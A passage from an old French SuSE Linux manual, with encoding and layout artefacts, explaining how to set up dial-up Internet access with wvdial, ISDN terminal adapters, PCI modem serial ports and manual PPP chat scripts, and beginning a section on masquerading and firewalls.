  12677.                            paramΦtres seront d'abord lus α partir de ``Default''. Tous les paramΦtres qui
  12678.                            sont spΘcifiΘs encore une fois dans la section supplΘmentaire Θcraseront les
  12679.                            anciennes valeurs.
  12680.  
  12681.                            Voici un petit exemple pour T-Online et Arcor. (fichier 6.6.1). Ici la configu-
  12682.                            ration est rΘalisΘe par YaST . Il est ajoutΘ manuellement au fichier les lignes
  12683.                            contenues dans le fichier 6.6.2.
  12684.                            ________________________________________________________________________________________________________*
  12685.  *________||||
  12686.                            | [Dialer  Defaults]                                                                                    *
  12687.  *         |
  12688.                            | Modem  =  /dev/ttyS0                                                                                  *
  12689.  *         |
  12690.                            |                                                                                                       *
  12691.  *         |
  12692.                            | Init1  =  ATZ                                                                                         *
  12693.  *         |
  12694.                            | Init2  =  ATQ0  V1  E1  S0=0  &C1  &D2  S11=55  +FCLASS=0                                             *
  12695.  *         |
  12696.                            | Init3  =  ATM0                                                                                        *
  12697.  *         |
  12698.                            |                                                                                                       *
  12699.  *         |
  12700.                            | Compuserve  =  0                                                                                      *
  12701.  *         |
  12702.                            | Tonline  =  1                                                                                         *
  12703.  *         |
  12704.                            |                                                                                                       *
  12705.  *         |
  12706.                            | Dial  Command  =  ATX3DT                                                                              *
  12707.  *         |
  12708.                            | Baud  =  115200                                                                                       *
  12709.  *         |
  12710.                            |                                                                                                       *
  12711.  *         |
  12712.                            | Auto  DNS  =  1                                                                                       *
  12713.  *         |
  12714.                            | Stupid  Mode  =  0                                                                                    *
  12715.  *         |
  12716.                            |                                                                                                       *
  12717.  *         |
  12718.                            | New  PPPD  =  1                                                                                       *
  12719.  *         |
  12720.                            |                                                                                                       *
  12721.  *         |
  12722.                            |                                                                                                       *
  12723.  *         |
  12724.                            | Phone  =0,0191011                                                                                     *
  12725.  *         |
  12726.                            | Username  =  ????????                                                                                 *
  12727.  *         |
  12728.                            | Password  =  ???????                                                                                  *
  12729.  *         |
  12730.                            |_______________________________________________________________________________________________________*
  12731.  *________ |
  12732.  
  12733.                                            fichier 6.6.1: /etc/wvdial.conf                : Standard-Abschnitt
  12734.  
  12735.  
  12736.                            ________________________________________________________________________________________________________*
  12737.  *________
  12738.                            | [Dialer  arcor]                                                                                       *
  12739.  *         |
  12740.                            |                                                                                                       *
  12741.  *         |
  12742.                            | Phone  =       010700192070                                                                           *
  12743.  *         |
  12744.                            | Username  =  arcor                                                                                    *
  12745.  *         |
  12746.                            | Password  =  internet                                                                                 *
  12747.  *         |
  12748.                            |_______________________________________________________________________________________________________*
  12749.  *________ |
  12750.  
  12751.                                         fichier 6.6.2: /etc/wvdial.conf                : sectioZusatz-Abschnitt
  12752.  
  12753.  
  12754.                            Si  wvdial  est  invoquΘ  sans  paramΦtres,  il  sera  Θtabli  une  connexion  avec
  12755.                            T-Online      alors que l'invocation de wvdial  arcor           Θtabli une connexion avec
  12756.                            Arcor. Lisez aussi α ce sujet la page de man de wvdial       (man  wvdial        ).
  12757.  
  12758.  
  12759.  
  12760. 194
  12761.        ______________________________________________________6.6.__AccΦs_Internet_par_modem_:_PPP_avec_wvdial______________________*
  12762.  *______________________
  12763.  
  12764.  
  12765.  
  12766. 6.6.3      Adaptateurs de terminaux ISDN
  12767. Ces pΘriphΘriques permettent la connexion α ISDN. └ la diffΘrence de ce qui
  12768.  
  12769. se passe pour les cartes ISDN ordinaires, les machines et les adaptateurs de
  12770. terminaux sont reliΘs par un cΓble sΘrie. Bien que les adaptateurs simulent en
  12771. principe un modem analogique, ils prΘsentent cependant quelques particula-
  12772. ritΘs :
  12773.  
  12774.  
  12775.   ~   Ils requiΦrent par exemple des commandes spΘciales pour l'Θtablissement
  12776.       d'une communication Point α Point et,
  12777.  
  12778.   ~   dans la configuration par dΘfaut, ils Θmettent des messages CONNECT       Θten-
  12779.       dus.
  12780.  
  12781.  
  12782. C'est pourquoi il convient d'adapter la configuration du modem :
  12783.  
  12784.  
  12785.  1.   Renoncez α la dΘtection automatique du modem, exΘcutΘe normalement
  12786.       avec  YaST  au  moyen  des  options  `Administration  du  systΦme'  /
  12787.       `Configurer  le  rΘseau'  /  `Configurer  le  rΘseau  PPP'  /  `DΘ-
  12788.       tection  automatique  du  modem'.
  12789.  
  12790.  2.   DΘterminez  le  port  de  votre  modem  dans  YaST  avec  le  menu  `Ad-
  12791.       ministration  du  systΦme'  /  `IntΘgrer  le  matΘriel  dans  le
  12792.       systΦme' / `Configurer  le  modem'.
  12793.  
  12794.  3.   Connectez-vous en tant que `root' α votre systΦme.
  12795.  
  12796.  4.   CrΘez manuellement le fichier /etc/wvdial.conf ; sinon ce fichier sera
  12797.       gΘnΘrΘ automatiquement. Son contenu devrait Ωtre semblable α celui du
  12798.       fichier 6.6.3.
  12799.        _______________________________________________________________________________________________________________________||||
  12800.  
  12801.        |||||||| [Dialer  Defaults]                                                                                             |
  12802.        |||||||| Modem  =  /dev/modem                                                                                           |
  12803.        |||||||| Baud  =  115200                                                                                                |
  12804.        ||||||||                                                                                                                |
  12805.        |||||||| Init1  =  <entrΘe  spΘciale1>                                                                                  |
  12806.        |||||||| Init2  =  <entrΘe  spΘciale2>                                                                                  |
  12807.        ||||||||                                                                                                                |
  12808.        |||||||| ;  Phone  =                                                                                                    |
  12809.        |||||||| ;  Username  =                                                                                                 |
  12810.        ||||||||                                                                                                                |
  12811.        |||||||| ;  Password  =                                                                                                 |
  12812.        ||||||||                                                                                                                |
  12813.        ||||||||                                                                                                                |
  12814.        ||||||||_______________________________________________________________________________________________________________ |
  12815.  
  12816.         fichier 6.6.3:  /etc/wvdial.conf               :  Adaptateur  de  terminal
  12817.  
  12818.  
  12819.       Pour <entrΘe spΘciale1> et <entrΘe spΘciale2>, vous devez ~ en fonction
  12820.       de votre pΘriphΘrique ~ insΘrer les valeurs suivantes :
  12821.  
  12822.       Constructeur ELSA :                ELSA MicroLink ISDN/TLpro et ISDN/TLV.34 :
  12823.           Init1  =  AT&F\N10%P1
  12824.           Init2  =  AT\V0
  12825.  
  12826.  
  12827.       Constructeur ELSA :                ELSA TanGo 1000 et ELSA TanGo 2000 :
  12828.           Init1  =  AT&F$IBP=HDLCP
  12829.           Init2  absent
  12830.  
  12831.  
  12832.  
  12833.                                                                                                                                    *
  12834.  *   195
  12835. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  12836.  *_______________________________________@
  12837.  
  12838.  
  12839.  
  12840.                                  Constructeur Zyxel :              Tous les modΦles :
  12841.                                      Init1  =  AT&FB40
  12842.                                      Init2  =  ATXO
  12843.  
  12844.  
  12845.                                  Constructeur Hagenuk :                 Speed/Viper Dragon :
  12846.                                      Init1  =  ATZ
  12847.                                      Init2  =  AT&FB8X0
  12848.  
  12849.  
  12850.                                  Autres constructeurs :              Vous pourrez retrouver la chaεne d'initialisation
  12851.                                      (angl. Initstring) prΘvue par le constructeur en consultant la documen-
  12852.                                      tation  qui  accompagne  votre  adaptateur.  Il  y  est  parfois  ajoutΘ  des
  12853.                                      scripts pour Unix ou Linux dans lesquels vous pourrez aussi trouver
  12854.                                      cette chaεne d'initialisation. Ou vous regardez simplement avec quelle
  12855.                                      chaεne d'initialisation votre modem se connecte sous un autre systΦme,
  12856.                                      par exemple sous MS-Windows.
  12857.  
  12858.                            Les autres phases de la configuration sont effectuΘes ainsi qu'il est dΘcrit dans
  12859.                            le manuel de votre adaptateur.
  12860.  
  12861.                            Remarque : Les ISDN-TA ne doivent pas Ωtre confondus avec les PABX dotΘs
  12862.                            d'une carte ISDN intΘgrΘe. Bien que ces derniers soient aussi connectΘs par
  12863.                            un  cΓble  sΘrie,  ils  utilisent  un  protocole  propriΘtaire  via  l'interface  sΘrie  et
  12864.                            ne peuvent donc pas Ωtre utilisΘs sous Linux ! Un pilote CAPI fourni avec le
  12865.                            pΘriphΘrique doit Ωtre installΘ dans le PC, mais actuellement  les constructeurs
  12866.                            ne le fournissent pas pour Linux. Voici les pΘriphΘriques connus :
  12867.  
  12868.                              ~   Eumex 404 PC
  12869.  
  12870.                              ~   Eumex 322 PCi
  12871.  
  12872.                              ~   AVM Fritz !XPCDr.
  12873.  
  12874.                              ~   Neuhaus Triccy Data LCR
  12875.  
  12876.  
  12877.                            6.6.4      Configuration de modems PCI
  12878.  
  12879.                            L'IRQ  et  l'adresse  d'E/S  des  ports  sΘrie  sont  positionnΘs  par  dΘfaut  sous
  12880.                            Linux α des valeurs utilisΘes par les cartes ISA. Ces valeurs sont un quasi-
  12881.                            standard  et  elles  Θpargnent  α  de  nombreux  PC  des  conflits  de  ressources.
  12882.                            Les  ressources  des  cartes  PCI  sont  toutefois  assignΘes  par  le  BIOS  lors  de
  12883.                            l'amorτage et ne concordent pas avec les valeurs traditionnelles si on laisse
  12884.                            le BIOS prendre seul la dΘcision.
  12885.  
  12886.                            Vous devez donc, avant la configuration de wvdial , procΘder de la maniΦre
  12887.                            suivante :
  12888.  
  12889.                             1.   DΘterminez,  avec  la  commande  scanpci  -v        ,  les  valeurs  rΘelles  que  le
  12890.                                  BIOS  a  assignΘ  aux  ports  sΘrie.  L'interruption  (IRQ)  et  l'adresse  d'E/S
  12891.                                  (port d'E/S) vous sont nΘcessaires.
  12892.  
  12893.                             2.   IntΘgrez  le  modem  avec  YaST   α  l'aide  des  options  `Administra-
  12894.                                  tion  du  systΦme' / `IntΘgrer  le  matΘriel  dans  le  systΦme'
  12895.                                  / `Configurer  le  modem'.
  12896.                                  Tenez compte de la prΘsence Θventuelle d'une souris sΘrie et d'autres ports
  12897.                                  sΘrie. En cas de doute, sΘlectionnez /dev/ttyS2 afin d'Θviter tout conflit
  12898.                                  avec une carte d'interface traditionnelle intΘgrΘe en supplΘment.
  12899.  
  12900.  
  12901. 196
  12902.        ______________________________________________________6.6.__AccΦs_Internet_par_modem_:_PPP_avec_wvdial______________________*
  12903.  *______________________
  12904.  
  12905.  
  12906.  
  12907.  3.   Avec la commande setserial         , il est possible de modifier la configura-
  12908.       tion du port sΘrie. Si le modem utilise par exemple l'IRQ 5 et l'adresse
  12909.       d'E/S 0x220      alors que le noyau s'attend α trouver l'interruption 4 et le
  12910.       port 0x02f8      , la commande
  12911.            terre:  #  setserial  /dev/ttyS2  irq  5  port  0x220
  12912.  
  12913.       peut aider α rΘsoudre le problΦme.
  12914.  
  12915.       Cette commande doit cependant Ωtre exΘcutΘe lors de tout amorτage ul-
  12916.       tΘrieur.  La  meilleure  solution  consiste  α  ajouter  une  entrΘe  dans  le  fi-
  12917.       chier  /sbin/init.d/boot.local.  ~  Comme  alternative,  il  est  Θgale-
  12918.       ment possible d'adapter le fichier /sbin/init.d/serial dans la section
  12919.       start     :
  12920.            run_setserial  /dev/ttyS2  irq  5  port  0x220
  12921.  
  12922.       Des  informations  plus  dΘtaillΘes  sur  setserial  vous  sont  fournies  par  la
  12923.       page de man de setserial         (man  setserial           ).
  12924.  
  12925.  4.   Afin de vΘrifier si la configuration de l'interface a ΘtΘ rΘalisΘe avec succΦs,
  12926.       vous pouvez taper la commande wvdialconf  /dev/null                 . Tous les ports
  12927.       ttySx seront alors vΘrifiΘs et votre modem devrait Ωtre reconnu.
  12928.  
  12929.       Remarque : Comme alternative α la configuration rΘalisΘe avec setserial,
  12930.       vous pouvez aussi modifier les paramΦtres IRQ dans le BIOS. Ceci n'est
  12931.       possible  que  si  le  BIOS  le  permet  et  si  l'adresse  d'E/S  n'a  pas  α  Ωtre
  12932.       modifiΘe.
  12933.  
  12934.       └ cette fin, cherchez α dΘcouvrir dans quel slot PCI se trouve votre carte
  12935.       d'interface. Dans le programme Setup de certains BIOS, il existe un sous-
  12936.       menu  dans  lequel  les  paramΦtres  des  interfaces  PCI  sont  dΘterminΘs.  Il
  12937.       est possible ici d'attribuer α chaque slot une interruption (IRQ) prΘcise.
  12938.       SpΘcifiez  l'IRQ  par  dΘfaut  qui  dans  la  plupart  des  cas  sera  IRQ  3  ou
  12939.       IRQ 4. Lors du prochain dΘmarrage, l'IRQ rΘel s'adaptera α l'IRQ rΘglΘ
  12940.       par dΘfaut.
  12941.  
  12942.  
  12943. 6.6.5      Configuration manuelle de PPP pour experts
  12944.  
  12945. Si pour quelque raison que ce soit vous ne parveniez pas α accΘder α Internet
  12946. avec wvdial , vous pouvez ici configurer PPP manuellement. Donnez toutefois
  12947. la prΘfΘrence, dans la mesure du possible, au programme wvdial .
  12948.        _______________________________________________________________________________________________________________________||
  12949.        ||||||||  Vous trouverez aussi quelques configurations exemples et quelques scripts                      |||            |
  12950.        ||||||||  dans le paquetage inetcfg, sΘrie n ainsi que dans le paquetage ppp_nt et                       ||             |
  12951.        ||||||||                                                                                                 ||             |
  12952.        ||||||||  le paquetage toppp, sΘrie doc.                                                                 ||             |
  12953.        ||||||||_______________________________________________________________________________________________________________||_
  12954.  
  12955.  
  12956. ╔tablissement de la connexion
  12957.  
  12958. L'Θtablissement d'une connexion PPP se fait en deux Θtapes.
  12959.  
  12960.  
  12961.   ~   Il est d'abord Θtabli une connexion entre les deux modems. Cette tΓche
  12962.       est assumΘe par le programme chat .
  12963.  
  12964.   ~   Lorsque la liaison est Θtablie, chat  s'occupe encore de la connexion avec
  12965.       le serveur et repasse ensuite le contr⌠le au dΘmon PPP. Celui-ci initialise
  12966.       alors le protocole PPP.
  12967.  
  12968.  
  12969.                                                                                                                                    *
  12970.  *   197
  12971. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  12972.  *_______________________________________@
  12973.  
  12974.  
  12975.  
  12976.                            AprΦs avoir installΘ le paquetage inetcfg, vous trouverez dans le rΘpertoire
  12977.                            /usr/doc/packages/inetcfg  le  script  ppp-up  que  vous  devriez  copier
  12978.                            dans le rΘpertoire /etc/ppp et modifier en fonction de vos besoins.
  12979.  
  12980.                            Une connexion PPP est alors Θtablie au moyen de ppp-up .
  12981.                            ________________________________________________________________________________________________________*
  12982.  *________||||
  12983.                            | #!/bin/sh                                                                                             *
  12984.  *         |
  12985.                            | #                                                                                                     *
  12986.  *         |
  12987.                            |                                                                                                       *
  12988.  *         |
  12989.                            | #  /etc/ppp/ppp-up                                                                                    *
  12990.  *         |
  12991.                            | #                                                                                                     *
  12992.  *         |
  12993.                            |                                                                                                       *
  12994.  *         |
  12995.                            | #  ╔tablissement  d'une  connexion  PPP                                                               *
  12996.  *         |
  12997.                            | #                                                                                                     *
  12998.  *         |
  12999.                            |                                                                                                       *
  13000.  *         |
  13001.                            |                                                                                                       *
  13002.  *         |
  13003.                            | localip=0.0.0.0                                                                                       *
  13004.  *         |
  13005.                            |                                                                                                       *
  13006.  *         |
  13007.                            | remoteip=                                                                                             *
  13008.  *         |
  13009.                            |                                                                                                       *
  13010.  *         |
  13011.                            | device=/dev/modem                                                                                     *
  13012.  *         |
  13013.                            |                                                                                                       *
  13014.  *         |
  13015.                            |                                                                                                       *
  13016.  *         |
  13017.                            | pppflags="38400  modem  debug  defaultroute"                                                          *
  13018.  *         |
  13019.                            |                                                                                                       *
  13020.  *         |
  13021.                            |                                                                                                       *
  13022.  *         |
  13023.                            | /usr/sbin/pppd  lock  connect  \                                                                      *
  13024.  *         |
  13025.                            |                                                                                                       *
  13026.  *         |
  13027.                            |             '/usr/sbin/chat  -v  -f  /etc/ppp/ppp.chat'  \                                            *
  13028.  *         |
  13029.                            |             $device  $pppflags  $localip:$remoteip                                                    *
  13030.  *         |
  13031.                            |_______________________________________________________________________________________________________*
  13032.  *________ |
  13033.                                                            fichier 6.6.4: /etc/ppp/ppp-up
  13034.  
  13035.  
  13036.                            On dΘtermine tout d'abord les adresses IP du serveur et du client. S'il est spΘ-
  13037.                            cifiΘ pour le client une adresse IP 0.0.0.0       et si l'adresse IP du serveur n'est
  13038.                            pas  indiquΘe,  pppd  demande  les  deux  adresses  au  serveur.  Si  les  adresses
  13039.                            sont dΘjα dΘterminΘes α l'avance ou si vous ne souhaitez pas que les adresses
  13040.                            soient attribuΘes dynamiquement, vous devez entrer ici les adresses IP corres-
  13041.                            pondantes.
  13042.  
  13043.                            On indique ensuite le pΘriphΘrique auquel le modem est connectΘ. Les dra-
  13044.                            peaux  font  savoir  α  pppd  qu'il  doit  accΘder  au  modem  avec  38400  bps
  13045.                            et  enregistrer  la  connexion  PPP  comme  route  par  dΘfaut  dans  la  table  de
  13046.                            routage  du  noyau.  pppd  connaεt  encore  tout  un  tas  d'autres  drapeaux  et
  13047.                            d'options. Vous trouverez une description dΘtaillΘe dans la page de man de
  13048.                            pppd     (man  8  pppd       )  et  dans  le  fichier  /usr/doc/howto/en/PPP-HOWTO.
  13049.                            gz. L'exemple prΘsentΘ devrait toutefois fonctionner dans la majeure partie
  13050.                            des cas.
  13051.  
  13052.                            chat se charge alors d'Θtablir la connexion par modem. Le fichier /etc/ppp/
  13053.                            ppp.chat dΘtermine le dΘroulement de cette procΘdure.
  13054.  
  13055.                            Les lignes ABORT      font savoir avec quelles rΘponses du modem la tentative de
  13056.                            connexion a ΘchouΘ. Avec +++ATZ      , le modem est initialisΘ.
  13057.                            ATDT0911123456               reprΘsente  le  numΘro  d'appel  du  serveur.  Si  la  chaεne
  13058.                            CONNECT        est  reτue  par  le  modem,  le  processus  de  connexion  dΘmarre.  Le
  13059.                            nom  d'utilisateur  et  ensuite  le  mot  de  passe  sont  envoyΘs  au  serveur.  Vous
  13060.                            trouverez de plus amples informations sur chat  dans la page de man de chat
  13061.                            (man  8  chat       ).
  13062.  
  13063.                            Si les deux fichiers sont configurΘs comme il convient et si les attributs sont
  13064.                            dΘterminΘs, il suffit d'appeler ppp-up pour Θtablir la connexion PPP.
  13065.  
  13066.  
  13067. 198
  13068.        ______________________________________________________6.6.__AccΦs_Internet_par_modem_:_PPP_avec_wvdial______________________*
  13069.  *______________________
  13070.  
  13071.        _______________________________________________________________________________________________________________________||
  13072.        |||||||| TIMEOUT  30                                                                                                    |
  13073.        ||||||||                                                                                                                |
  13074.        |||||||| ABORT  "NO  CARRIER"                                                                                           |
  13075.        |||||||| ABORT  BUSY                                                                                                    |
  13076.        |||||||| ABORT  "NO  DIALTONE"                                                                                          |
  13077.        ||||||||                                                                                                                |
  13078.        |||||||| ABORT  ERROR                                                                                                   |
  13079.        |||||||| ""  +++ATZ                                                                                                     |
  13080.        ||||||||                                                                                                                |
  13081.        |||||||| OK  ATDT0911123456                                                                                             |
  13082.        |||||||| CONNECT  ""                                                                                                    |
  13083.        ||||||||                                                                                                                |
  13084.        |||||||| ogin:--ogin:  <ppplogin>                                                                                       |
  13085.        |||||||| word:  <ppppassword>                                                                                           |
  13086.        ||||||||_______________________________________________________________________________________________________________ |
  13087.  
  13088.                                fichier 6.6.5: /etc/ppp/ppp.chat
  13089.  
  13090.  
  13091.        _______________________________________________________________________________________________________________________|||
  13092.        ||||||||  Si, comme il est dΘcrit dans ce chapitre, vous avez stockΘ le script d'appel                   |||            |
  13093.        ||||||||  ppp-up  sous  /etc/ppp/ppp-up,  il  ne  se  trouve  naturellement  pas  dans                   ||             |
  13094.        ||||||||                                                                                                 ||             |
  13095.        ||||||||  le chemin d'accΦs spΘcifiΘ dans la variable d'environnement PATH. Vous                         ||             |
  13096.        ||||||||  devrez donc, lors de l'appel, spΘcifier le chemin complet :                                    ||             |
  13097.        ||||||||                                                                                                 ||             |
  13098.        ||||||||        terre:/root  #  /etc/ppp/ppp-up                                                          ||             |
  13099.        ||||||||  Vous devriez auparavant positionner l'attribut de ce fichier α `x' en tapant                   ||             |
  13100.        ||||||||                                                                                                 ||             |
  13101.        ||||||||  par exemple                                                                                    ||             |
  13102.        ||||||||        terre:/root  #  chmod  755  /etc/ppp/ppp-up                                              ||             |
  13103.        ||||||||_______________________________________________________________________________________________________________||_
  13104.  
  13105. On ferme la connexion en tuant le dΘmon PPP. Ceci peut se faire par exemple
  13106. α l'aide du script /etc/ppp/ppp-down (voir fichier 6.6.6).
  13107.  
  13108.        _______________________________________________________________________________________________________________________||
  13109.        |||||||| #!/bin/sh                                                                                                      |
  13110.        |||||||| #                                                                                                              |
  13111.        ||||||||                                                                                                                |
  13112.        |||||||| #  /etc/ppp/ppp-down                                                                                           |
  13113.        |||||||| #                                                                                                              |
  13114.        ||||||||                                                                                                                |
  13115.        |||||||| #  Couper  la  connexion  PPP                                                                                  |
  13116.        |||||||| #                                                                                                              |
  13117.        ||||||||                                                                                                                |
  13118.        ||||||||                                                                                                                |
  13119.        |||||||| kill  `cat  /var/run/ppp0.pid`                                                                                 |
  13120.        ||||||||_______________________________________________________________________________________________________________ |
  13121.  
  13122.                                fichier 6.6.6: /etc/ppp/ppp-down
  13123.  
  13124.  
  13125. L'accent  grave  (ne  pas  confondre  avec  l'apostrophe)__est  ici _essentiel.  Les
  13126. touches α utiliser sont (pour le clavier franτais) |_______Al|tGr+|7_ |. Il s'agit d'une sub-
  13127. stitution  de  commande  par  laquelle  la  sortie  de  cat  /var/run/ppp0.pid
  13128. est passΘe au programme kill .
  13129.  
  13130.  
  13131. Adaptation du script Chat
  13132.  
  13133. Le script Chat /etc/ppp/ppp.chat doit bien entendu Ωtre adaptΘ. Outre le
  13134. nom d'utilisateur et le mot de passe, la totalitΘ de la procΘdure de connexion
  13135. est  souvent  modifiΘe.  Dans  certains  cas,  il  est  mΩme  nΘcessaire  de  dΘmar-
  13136. rer  le  protocole  PPP  sur  la  machine  distante  par  une  commande  telle  que
  13137. ppp  default          . Il n'est pas possible de faire de tout ceci une description glo-
  13138. bale.
  13139.  
  13140. Dans le cas o∙ une authentification spΘciale au moyen de PAP, CHAP, etc.
  13141. n'est pas nΘcessaire, la procΘdure de connexion est comparable α la procΘdure
  13142.  
  13143.  
  13144.                                                                                                                                    *
  13145.  *   199
  13146. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  13147.  *_______________________________________@
  13148.  
  13149.  
  13150.  
  13151.                            de connexion α un terminal. La seule diffΘrence est qu'elle n'est pas rΘalisΘe
  13152.                            manuellement mais α l'aide du script Chat.
  13153.                            Les choses peuvent donc se dΘrouler comme suit :
  13154.  
  13155.                              ~   Lisez  attentivement  les  informations  du  fournisseur  de  services  et  de-
  13156.                                  mandez s'il existe dΘjα chez ce fournisseur un script appropriΘ. Dans ce
  13157.                                  cas, nous vous demandons de bien vouloir nous tenir au courant afin que
  13158.                                  nous puissions rassembler ces scripts et les rΘpartir dans notre distribu-
  13159.                                  tion.  Vous  pouvez  aussi  vous  procurer  directement  ces  informations  en
  13160.                                  adressant une requΩte α notre base de donnΘes support (SDB) :
  13161.                                  http://sdb.suse.de/sdb/fr/html/
  13162.  
  13163.                              ~   Ayez sous la main un crayon et du papier !
  13164.  
  13165.                              ~   Avec un Θmulateur de terminal (par exemple Minicom  (minicom  -s        )),
  13166.                                  vous Θtablissez la connexion manuellement, ce qui signifie que vous vous
  13167.                                  connectez directement. Vous devez noter avec le plus grand soin dans quel
  13168.                                  ordre se font les envois et quelles entrΘes vous devez faire vous-mΩme. La
  13169.                                  plupart  des  Θmulateurs  de  terminaux,  tels  que  minicom ,  permettent  un
  13170.                                  affichage automatique du texte α l'Θcran. Si vous utilisez_minicom_,_vous
  13171.                                  obtiendrez cet affichage par la combinaison de touches |A____l|t+ |l_ |(avec
  13172.                                  |_____|Alt+ | __|zil sera Θtabli une liste de toutes les combinaisons de touches
  13173.  
  13174.                                  disponibles !).
  13175.  
  13176.                              ~   Tout ceci doit se faire jusqu'au moment o∙ la machine distante passe en
  13177.                                  mode PPP, ce qu'il vous est possible de reconnaεtre grΓce α un message
  13178.                                  tel que : "ppp-protocol  started"
  13179.  
  13180.                              ~   La  connexion  est  alors  tout  simplement  coupΘe,_ ce  qui_ veut  dire  en
  13181.                                  quelque sorte que l'on a raccrochΘ (Minicom : |A____l|t+ |h_ |)
  13182.  
  13183.                              ~   Quittez l'Θmulateur de terminal (Minicom |A_____|lt+ |x__|)
  13184.  
  13185.                              ~   └  l'aide  du  protocole,  vous  pouvez  maintenant  adapter  le  script  Chat
  13186.                                  comme il convient.
  13187.  
  13188.                            Encore quelques informations complΘmentaires au sujet de chat .
  13189.                            Dans la premiΦre sΘquence
  13190.                                  TIMEOUT  30
  13191.                                  ABORT  "NO  CARRIER"
  13192.                                  ABORT  BUSY
  13193.                                  ABORT  "NO  DIALTONE"
  13194.                                  ABORT  ERROR
  13195.                            chat  est initialisΘ.
  13196.                            ________________________________________________________________________________________________________*
  13197.  *________
  13198.                            |  Le TIMEOUT       dΘpend du temps nΘcessaire α l'Θtablissement de la connexion.                       *
  13199.  *        |||
  13200.                            |                                                                                                       *
  13201.  *        |||
  13202.                            |  Il doit, dans certains cas, avoir une valeur plus ΘlevΘe, par exemple 60  .                          *
  13203.  *        |||
  13204.                            |_______________________________________________________________________________________________________*
  13205.  *________|||_
  13206.  
  13207.                            Les commandes ABORT      indiquent aprΦs quelles rΘponses du modem l'exΘcu-
  13208.                            tion du script doit Ωtre terminΘe.
  13209.  
  13210.                            Dans les lignes suivantes, on procΦde toujours de cette maniΦre :
  13211.  
  13212.                            Le  premier  paramΦtre  (jusqu'au  premier  espace)  indique  ce  que  l'on  doit
  13213.                            attendre.  Si  cette  chaεne  est  Θmise  par  le  modem,  le  reste  de  la  ligne  est
  13214.                            renvoyΘ.
  13215.  
  13216.  
  13217. 200
  13218.        _________________________________________________________6.7.__Masquerading_et_Firewall_~_Amis_et_``amis''__________________*
  13219.  *______________________
  13220.  
  13221.  
  13222.  
  13223.       ""  +++ATZ
  13224. On  n'attend  pas  ici  de  chaεne.  Le  modem  est  tout  de  suite  initialisΘ.  Ceci
  13225.  
  13226. dΘpend  de  votre  modem  et  du  profile  mΘmorisΘ.  Normalement,  on  charge
  13227. avec ATZ    le profile 0 (comme directement aprΦs le dΘmarrage). Vous devrez
  13228. Θventuellement  inscrire  autre  chose  ici.  Comparez  le  cas  ΘchΘant  avec  vos
  13229. logiciels DOS ou Windows.
  13230.        _______________________________________________________________________________________________________________________||
  13231.  
  13232.        ||||||||  Si votre modem ne se comporte pas du tout comme il devrait, cela signifie                      |||            |
  13233.        ||||||||  peut-Ωtre qu'il est complΦtement dΘrΘglΘ et il se peut que ATZ    ne serve plus                ||             |
  13234.        ||||||||                                                                                                 ||             |
  13235.        ||||||||  α rien. Dans ce cas, vous devriez lancer la commande AT&F     (par exemple                     ||             |
  13236.        ||||||||  sous Minicom). Cela rΘglera votre modem comme il l'Θtait α sa sortie de                        ||             |
  13237.        ||||||||                                                                                                 ||             |
  13238.        ||||||||  fabrique.                                                                                      ||             |
  13239.        ||||||||_______________________________________________________________________________________________________________||_
  13240.  
  13241. Le numΘro est maintenant composΘ et la connexion est Θtablie, par exemple :
  13242.  
  13243.       OK  ATDT<numΘro  de  tΘlΘphone>
  13244.       CONNECT  ""
  13245.       ogin:--ogin:  <account>
  13246.       word:  <accountpasswd>
  13247. Pour votre installation sur le plan concret, remplacez <numΘro de tΘlΘphone>,
  13248. <account> et <accountpasswd> par les valeurs appropriΘes.
  13249.  
  13250. Notez  que  seul  word  :      est  recherchΘ  car  il  pourrait  trΦs  bien  Ωtre  envoyΘ
  13251. Password  :          (avec une majuscule) ou password  :         (avec une minuscule).
  13252.  
  13253. La ligne
  13254.  
  13255.       ogin:--ogin:
  13256.  
  13257. devrait Ωtre assez flexible car dans le cas o∙ la premiΦre chaεne (ogin  :     ) n'est
  13258. pas retrouvΘe, un `Return' sera envoyΘ et on attendra de nouveau ogin  :     .
  13259.  
  13260. Vous  trouverez  d'autres  informations  et  exemples  dans  la  page  de  man  de
  13261. chat     (man  8  chat       ).
  13262.        _______________________________________________________________________________________________________________________
  13263.        ||||||||  L'ensemble du script Chat ne doit contenir aucune ligne vide, aucun espace                     ||             |
  13264.        ||||||||                                                                                                 ||             |
  13265.        ||||||||  en dΘbut de ligne et aucun commentaire.                                                        ||             |
  13266.        ||||||||_______________________________________________________________________________________________________________||_
  13267.  
  13268. Testez  maintenant  votre  connexion  avec  la  commande  /etc/ppp/ppp-up             .
  13269. Les messages d'erreur, Θmis par exemple par le script Chat, ne sont pas li-
  13270. sibles α l'Θcran mais sont enregistrΘs dans le fichier /var/log/messages.
  13271. Vous pouvez faire afficher le contenu de ce fichier sur une deuxiΦme console
  13272. par la commande :
  13273.  
  13274.       terre:/  #  tail  -f  /var/log/messages
  13275.  
  13276. Vous  pourrez  ainsi  voir  immΘdiatement  si  des  messages  importants  ont  ΘtΘ
  13277. Θmis.
  13278.  
  13279.  
  13280.  
  13281. 6.7       Masquerading et Firewall ~ Amis et ``amis''
  13282.  
  13283. De nombreux utilisateurs de SuSE     Linux se servent de leur ordinateur comme
  13284. machine  de  connexion  α  Internet  ou  comme  routeur  pour  accΦs  par  ligne
  13285. permanente.  Dans  de  tels  cas,  on  utilise  souvent  pour  le  rΘseau  local  des
  13286. adresses IP privΘes ~ qui ne permettent pas d'accΘder directement α Internet.
  13287.  
  13288.  
  13289.                                                                                                                                    *
  13290.  *   201
  13291. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  13292.  *_______________________________________@
  13293.  
  13294.  
  13295.  
  13296.                            Afin de rendre possible un tel accΦs pour le rΘseau interne, on a recours au
  13297.                            ``Masquerading''. Vous pouvez installer pour cela le paquetage firewals de
  13298.                            la sΘrie sec qui contient un script pour Masquerading et Firewall. Ces fonc-
  13299.                            tionnalitΘs sont toutes deux mises en oeuvre α partir du fichier de configura-
  13300.                            tion /etc/rc.firewall. Il est judicieux d'installer aussi en mΩme temps un
  13301.                            pare-feu (angl. firewall) pour protΘger plus efficacement le systΦme contre les
  13302.                            attaques de l'extΘrieur. Vous devriez absolument lire, α ce sujet, la documen-
  13303.                            tation contenue dans /usr/doc/packages/firewals.
